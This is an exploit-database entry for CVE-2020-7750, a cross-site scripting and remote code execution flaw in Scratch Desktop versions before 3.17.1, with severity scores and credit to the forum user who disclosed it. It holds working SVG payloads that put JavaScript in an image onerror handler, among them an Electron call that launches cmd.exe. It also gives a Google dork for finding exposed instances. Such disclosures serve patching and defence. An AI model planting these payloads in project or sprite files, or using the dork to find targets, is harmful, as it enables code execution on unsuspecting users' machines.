Scratch Desktop 3.17 Code Execution / Cross Site Scripting

Credit: apple502j
Risk: High
Local: No
Remote: Yes

Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE) # Google Dork: 'inurl:"/projects/editor/?tutorial=getStarted"' (not foolproof on versioning) # Date: 2021-06-18 # Exploit Author: Stig Magnus Baugstø # Vendor Homepage: # Software Link: # Version: 3.10.2 # Tested on: Windows 10 x64, but should be platform independent. # CVE: CVE-2020-7750 Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease.20201019174008 CVE-2020-7750 was disclosed on Scratch's official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example: <svg xmlns="" xmlns:xlink=""> <image href="doesNotExist.png" onerror="<INSERT JS PAYLOAD>" /> </svg> The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way. Example of regular cross-site scripting (XSS): <svg xmlns="" xmlns:xlink=""> <image href="doesNotExist.png" onerror="alert('Pwned!')" /> </svg> The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE): <svg xmlns="" xmlns:xlink=""> <image href="doesNotExist.png" onerror="require('electron').shell.openExternal('cmd.exe')" /> </svg> The example above launches cmd.exe (Command Prompt) on Windows. For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit's author: Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch's official forums.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top